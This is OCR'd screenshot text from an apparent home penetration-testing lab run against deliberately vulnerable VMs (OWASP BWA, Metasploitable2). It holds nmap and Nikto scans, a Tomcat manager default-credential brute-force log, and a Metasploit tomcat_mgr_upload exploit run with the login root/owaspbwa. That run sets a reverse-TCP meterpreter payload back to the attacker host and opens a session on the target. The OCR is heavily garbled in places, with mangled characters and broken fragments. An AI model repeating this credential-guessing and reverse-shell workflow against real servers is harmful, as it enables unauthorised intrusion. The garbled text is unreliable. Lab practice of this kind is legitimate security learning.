Network Card(s): 1 NIC(s) Installed.

[01]: Intel(R) 82574L Gigabit Network Connection

Connection Name: Ethernetd

DHCP Enabled:  Yes

DHCP Server: 192.168.214.256

IP address(es)

[01]: 192.168.214.133

[02]: fe80::6989:a381:9cds: fcb6
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed
“EULL Wi PS Ci\Users\Administrator\Docunents> [

nput to this VM, move the mouse pointer inside or press Ctrl+G.
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omputer =

i Win a

[ Ubuntu () Session Actions Edit View Help

[ii Me x DHCP Server:

5 Kal IP address(es)

» Rl . [01]: 192.168.214.133

[1i Win 0 [02]: fe80::6989:a381:9cd5:fcb6

3 Win Se Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed
“EUilwinaie PS c:\Users\Administrator\Documents> ipconfig

om@0m: ~

192.168.214.254

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address.

Subnet Mask

Default Gateway .

Windows IP Configuration

Host Name .
Prinary Dns Suffix
Node Type . . .

1P Routing Enabled.
WINS Proxy Enabled.

DNS Suffix Search List.

Ethernet adapter Etherneto:

Connection-specific DNS Suffix
Description .

Physical Address.

DHCP Enabled.
Autoconfiguration Enabled .
Link-local IPv6 Address
IPv4 Address.

Subnet Mask

Lease Obtained.

Lease Expires

Default Gateway .

DHCP Server .

DHCPV6 TATD .

DHCPV6 Client DUTD.

DNS Servers . . .

Prinary WINS Server .
NetBIOS over Tcpip.

“EULL i PS C:\Users\Adninistrator\Documents> [

Tocaldomain

Fe80:: 6989:a381:9cd5: Febbkh
192.168.214.133
255.255.255.0

192.168.214.2

“CULL Wi PS C:\Users\Administrator\Documents> ipconfig /all

WIN-7P3RN7KISRL

No
Tocaldomain

localdomain

Intel(R) 82574L Gigabit Network Connection
00-0C-29-D0-17-8A

Yes

Yes

fe80:: 6989:a381:9cd5: fcb6%4(Preferred)
192.168.214.133(Preferred)

255.255.255.0

Sunday, April 5, 2026 4:48i39 AM
Thursday, April 9, 2026 10:11:34 AM
192.168.214.2

192.168.214.254

67111977
00-01-00-01-31-57-6F-20-00-0C-29-D0-17-8A
192.168.214.2

192.168.214.2

Enabled

5552 PM
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@ om@0m: -/Documents
Session Actions Edit View Help
om@Om: ~/Documents 8  om@0Om: ~/Documents B  om@Om: ~/Documents B
[ Kali
i Win ~/Documents
0ii Win 192.168.214.134
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-10 09:50 EDT
Nmap scan report for 192.168.214.134
Host is up (0.00066s latency).
Not shown: 991 closed tcp ports (reset)
PORT  STATE SERVICE  VERSION
22/tcp  open ssh OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntuk.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL ...
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Courier Inapd (released 2008)

443/tcp open ssl/http  Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpensSL ...
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

5001/tcp open java-object Java Object Serialization

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.

8081/tcp open http Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/subnit.cgiznew-service
SF-POrt5001-TCP:V=7 .95¥I=7%D=4/10%Tine=69D90014%P=x86_64-pc-1inux-gnuxr(NU

SFiLL,4,"\xac\xed\0\x05");

MAC Address: 00:0C:29:4D:13:F5 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds

~/Documents

nput to this VM, move the mouse pointer inside or press Ctrl+G.
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om@0m: ~/Documents.

Session Actions Edit View Help

om@Om: ~/Documents 8  om@0Om: ~/Documents B  om@Om: ~/Documents B
0 Kali

~/Docunents
i Win http://192.168.214.134
0ii Win - Nikto v2.5.0
+ Target Ip: 192.168.214.134
+ Target Hostname:  192.168.214.134
+ Target Port: 80
+ Start Time: 2026-04-10 09:51:08 (GMT-4)

+ Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntut.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenssL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4
Perl/vs.10.1

+ /: Server may leak inodes via ETags, header found with file /, inode: 286483, size: 28067, mtime: Thu Jul 30 22:55:52 2015. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://wmi.netsparker.com/web-vulnerabili

ty-scanner/vulnerabilities/missing-content-type-header/

/cgi-bin/: Directory indexing found

+ /crossdomain.xml contains a full wildcard entry. See: htt

+ /favicon.ico: identifies this app/server as: owasp.org. See: https://en.wikipedia.org/wiki/Favicon

+ /images: IP address found in the 'location’ header. The IP is "127.0.1.1%. See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed

+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1%. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-064

9

//jeremiahgrossman.blogspot .com/2008/05/crossdomainxml-invites-cross-site.html

/index: Uncommon header ‘tcn’ found, with contents: list
/index: Apache mod negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index’ were found: index.css, index.html. See: http://w

ww.wisec.it/sectou.php?id=4698ebdc59d15, https: //exchange. xforce. ibmcloud. con/vulnerabilities/8275

mod_mono/2.4.3 appears to be outdated (current is at least 3.12)

Phusion_Passenger/4.0.38 appears to be outdated (current is at least 6.0.7)

Apache/2.2.14 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch

proxy_html/3.0.1 appears to be outdated (current is at least 3.1.2)

OpenssL/0.9.8k appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023

PHP/5.3.2-1ubuntu4.30 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch

Perl/vs.10.1 appears to be outdated (current is at least v5.32.1)

mod_python/3.3.1 appears to be outdated (current is at least 3.5.0)

Python/2.6.5 appears to be outdated (current is at least 3.9.6)

mod_perl/2.0.4 appears to be outdated (current is at least 2.0.11)

mod_ss1/2.2.14 appears to be outdated (current is at least 2.9.6) (may depend on server version)

OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wmi-community/attacks/Cross_Site Tracing

mod_ss1/2.2.14 OpenssL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell

PHP/5.3 - PHP 3/4/5 and 7.0 are End of Life products without support

/phpBB2/search.php?search_id=1\\: Cookie phpbb2owaspbwa_data created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

/phpBB2/search.php?search_id=1\\: Cookie phpbb2owaspbwa_sid created without the httponly flag. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Cookies

/phpBB2/search.php?search_id=1\\: Retrieved x-powered-by header: PHP/S5.3.2-lubuntus.30

/phpmyadnin/changelog.php: phpMyAdmin is for managing MysQL databases, and should be protected or limited to authorized hosts

/test/: Directory indexing found

/test/: This might be interesting

/icons/: Directory indexing found

input to this VM, move the mouse pointer inside or press Ctrl+G. [
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~/Documents
[ii Win http://192.168.214.134/#wp-config.php#
[ii Win <1DOCTYPE HTML>
<html>
<head>

<title>owaspbwa OWASP Broken Web Applications</title>
<link rel="stylesheet” href="index.css" type="text/css” media="screen” />

<script type="text/javascript® src="/jquery.min.js"></script> ¢—nhttp://ajax.googleapis.con/ajax/Libs/jquery/1.3.2/3query.min.js pulled april 15 2011—>
<script type="text/javascript” src="animatedcollapse.js">

kb kA ek ok kA kA kk

* Animated Collapsible DIV v2.4- (c) Dynamic Drive DHTML code library (ww.dynamicdrive.com)

* This notice MUST stay intact for legal use

* Visit Dynamic Drive at http://wm.dynamicdrive.com/ for this script and 100s more

ok kbAoA kA

</script>

<script type="text/javascript”>

animatedcollapse.addDiv( ‘webgoat’, 'fade=1')

animatedcollapse.addDiv( ‘webgoat_net’, 'fad
animatedcollapse.addDiv( " swingset', 'fade=
animatedcollapse.addDiv( " swingset_interactive’, 'fade:
animatedcollapse.addDiv( mutillidae’, 'fade=1')
animatedcollapse.addDiv( dvwa’, 'fade=1')
animatedcol lapse.addDiv(‘ghost’, *fad
aninatedcollapse.addDiv(‘bwapp’, *fad

animatedcollapse.addDiv( ' OWASPVicnum', *fade:
animatedcollapse.addDiv( " jotto', 'fad
animatedcollapse.addDiv( "oneliner’,

aninatedcol lapse.addDiv( " peruggia’, *fad
animatedcollapse.addDiv( ' gruyere
animatedcollapse.addDiv(hackxor’, 'fade=1')
animatedcollapse.addDiv( WackoPicko', 'fade=1")
animatedcollapse.addDiv( 'bodgeit’, 'fade=1')

animatedcollapse.addDiv( cyclone’, 'fade=1')

animatedcollapse.addDiv('NCIR', fade=1')
animatedcollapse.addDiv( ' railsgoat’, *fad
animatedcollapse.addDiv( " owaspbricks’, ' fade=
animatedcollapse.addDiv( " shepherd", *fade

animatedcollapse.addDiv( ‘wordpress’, *fade=
animatedcollapse.addDiv( " orangehrn’, fad
animatedcollapse.addDiv( " getboo’, ' fad
animatedcollapse.addDiv('gtd-php’, 'fade=1')
animatedcollapse.addDiv('yazd®, 'fade=1")

animatedcollapse.addDiv( " phpbb2’, ' fad
animatedcollapse.addDiv("webcal,
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om@Om: ~/Documents B om@0:
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: ~/Documents @ om@Om: ~/Documents B

8080 - LOGIN FAILED: ADMIN:admin (Incorrect)
8080 - LOGIN FAILED: ADMIN:manager (Incorrect)
8080 - LOGIN FAILED: ADMIN:rolel (Incorrect)
8080 - LOGIN FAILED: ADMIN:root (Incorrect)
8080 - LOGIN FAILED: ADMIN:tomcat (Incorrect)
8080 - LOGIN FAILED: ADMIN:s3cret (Incorrect)
8080 - LOGIN FAILED: ADMIN:vagrant (Incorrect)
8080 - LOGIN FAILED: ADMIN:QLogic66 (Incorrect)
8080 - LOGIN FAILED: ADMIN:password (Incorrect)
8080 - LOGIN FAILED: ADMIN:Passwordl (Incorrect)
8080 - LOGIN FAILED: ADMIN:changethis (Incorrect)
8080 - LOGIN FAILED: ADMIN:ro0t (Incorrect)
8080 - LOGIN FAILED: ADMIN:toor (Incorrect)
8080 - LOGIN FAILED: ADMIN:passwordl (Incorrect)
8080 - LOGIN FAILED: ADMIN:j2deployer (Incorrect)
8080 - LOGIN FAILED: ADMIN:OvWbusr1 (Incorrect)
8080 - LOGIN FAILED: ADMIN:kdsxc (Incorrect)
8080 - LOGIN FAILED: ADMIN:owaspba (Incorrect)
8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
8080 - LOGIN FAILED: ADMIN:xampp (Incorrect)
8080 - LOGIN FAILED: xampp:admin (Incorrect)
8080 - LOGIN FAILED: xampp:manager (Incorrect)
8080 - LOGIN FAILED: xampp:rolel (Incorrect)
8080 - LOGIN FAILED: xampp:root (Incorrect)
8080 - LOGIN FAILED: xampp:tomcat (Incorrect)
8080 - LOGIN FAILED: xampp:s3cret (Incorrect)
8080 - LOGIN FAILED: xampp:vagrant (Incorrect)
8080 - LOGIN FAILED: xampp:QLogic66 (Incorrect)
8080 - LOGIN FAILED: xampp:password (Incorrect)
8080 - LOGIN FAILED: xampp:Passwordl (Incorrect)
8080 - LOGIN FAILED: xampp:changethis (Incorrect)
8080 - LOGIN FAILED: xampp:ro0t (Incorrect)
8080 - LOGIN FAILED: xampp:toor (Incorrect)
8080 - LOGIN FAILED: xampp:passwordl (Incorrect)
8080 - LOGIN FAILED: xampp:j2deployer (Incorrect)
8080 - LOGIN FAILED: xampp:OvWsbusri (Incorrect)
8080 - LOGIN FAILED: xampp:kdsxc (Incorrect)
8080 - LOGIN FAILED: xampp:owaspba (Incorrect)
8080 - LOGIN FAILED: xampp:ADMIN (Incorrect)
8080 - LOGIN FAILED: xampp:xampp (Incorrect)
8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
8080 - LOGIN FAILED: ovwebusr:Ovifsbusrl (Incorrect)
8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)

50
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.
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om@Om: ~/Documents B om@0:

[~/Documents ]
le —q
msf > use exploit/multi/http/tomcat_mgr_upload
No payload configured, defaulting to java/meterpreter/reverse_tcp

©om@Om: ~/Documents B

ol nst exploit( )'> set RHOSTS 192.168.214.134
RHOSTS = 192.168.214.134
nsf_exploit( ) > set RPORT 8080
RPORT = 8080
nsf_exploit( ) > set RPORT 8080
RPORT = 8080
nsf exploit( ) > set HttpUsername root
HttpUsername = root
nsf exploit( ) > set Httppassword owaspbwa
Httppassword = owaspbwa
nsf_exploit( ) > set LHOST 192.168.214.131
LHOST = 192.168.214.131
nsf_exploit( ) > set LPORT 4bbk
LPORT = 4444
nsf exploit( ) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD = java/meterpreter/reverse_tcp
nsf exploit( ) > run

Started reverse TCP handler on 192.168.214.131: 4444
Retrieving session ID and CSRF token ..

Uploading and deploying POTKEH ..

Executing POTKEH ..

Undeploying POTKEH

Sending stage (58073 bytes) to 192.168.214.134

Undeployed at /manager/html/undeploy

Meterpreter session 1 opened (192.168.214.131:4444 — 192.168.214.134:36060) at 2026-04-11 12:40:55 -0400

meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter >
meterpreter > whoamoi

Unknown command: whoamoi. Run the help command for more details.
meterpreter > whoami

Unknown command: whoami. Run the help command for more details.
meterpreter > whoiam

Unknown command: whoiam. Run the help command for more details.
meterpreter > help

Core Commands.

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. x [
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om@0m: ~/Documents.

Session Actions Edit View Help
om@Om: ~/Documents 8  om@0Om: ~/Documents B  om@Om: ~/Documents B
[ Kali

i Win Stdap
[1i Win

Audio Output Commands

Conmand Description
] Wing 10 —_— —
play play a waveform audio file (.wav) on the target system
For more info on a specific command, use or

meterpreter > systeminfo
| Unknown command: systeminfo. Did you mean ? Run the command for more details
meterpreter > clear

- Unknown command: clear. Run the command for more details

meterpreter > sysinfo

Computer : owaspbua

os Linux 2.6.32-25-generic-pae (i386)

Architecture x86

System Language : en_US

Meterpreter : java/linux
neterpreter > ip a
| Unknown command: ip. Run the command for more details

meterpreter > ipconfig
Interface 1

Name etho - etho
Hardware MAC : 00:0c:29:4d:13:f5
1Y 1500

IPv4 Address : 192.168.214.134
IPv4 Netmask : 255.255.255.0
IPv6 Address : fego
IPv6 Netmask : FFFF:FFFF:FFFF:FFFF

Interface 2

Name o - lo
Hardware MAC : 00:00:00:00:00:00
Mty : 16436

IPv4 Address : 127.0.0.1

IPv4 Netmask : 0.0.0.0

IPv6 Address :
IPv6 Netmask

B
FEFFLFEFF:FRFFFFFFFFFF:FFFFFFFF:FFFF

neterpreter > If

nput to this VM, move the mouse pointer inside or press Ctrl+G.
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[ Kali 192.168.214.129
i Win starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 12:13 EDT
(i Windows S Nmap scan report for 192.168.214.129
Host is up (0.0018s latency)
Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 2.3.4
| ftp-syst

| STAT:

| FTP server status:

| Connected to 192.168.214.131

| Logged in as ftp

| TYPE: ASCIT

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text
| VSFTPd 2.3.4 - secure, fast, stable
|_End of status

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f : 4:d6:90:24 :6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, SBITMIME, DSN
sslva:
SSLv2 supported
ciphers:

|

|

|

| SSL2_RCk_128_WITH_MDS

| SSL2_RCl_128_EXPORTA0_WITH_MDS

| SSL2_RC2_128_CBC_WITH_MDS

| SSL2_DES_64_CBC_WITH_MDS

| SSL2_RC2_128_CBC_EXPORTA40_WITH_MDS

I SSL2_DES_192_EDE3_CBC_WITH_MDS

| ssl-cert: Subject: commonName=ubuntug04-base.localdomain/organizationName=
| Not valid before: 2010-03-17T14:

|_Not valid after: 2010-04-16T1
| ssl-date: 2026-03-11T15:38:16+00:00; -29d00h36m03s from scanner time

COSA/stateOrProvinceName=There is no such thing outside US/countryName=

53/tcp  open domain ISC BIND 9.4.2
| dns-nsid:

|_ bind.version: 9.4.2

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
I_http-title: Metasploitable2 - Linux

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.
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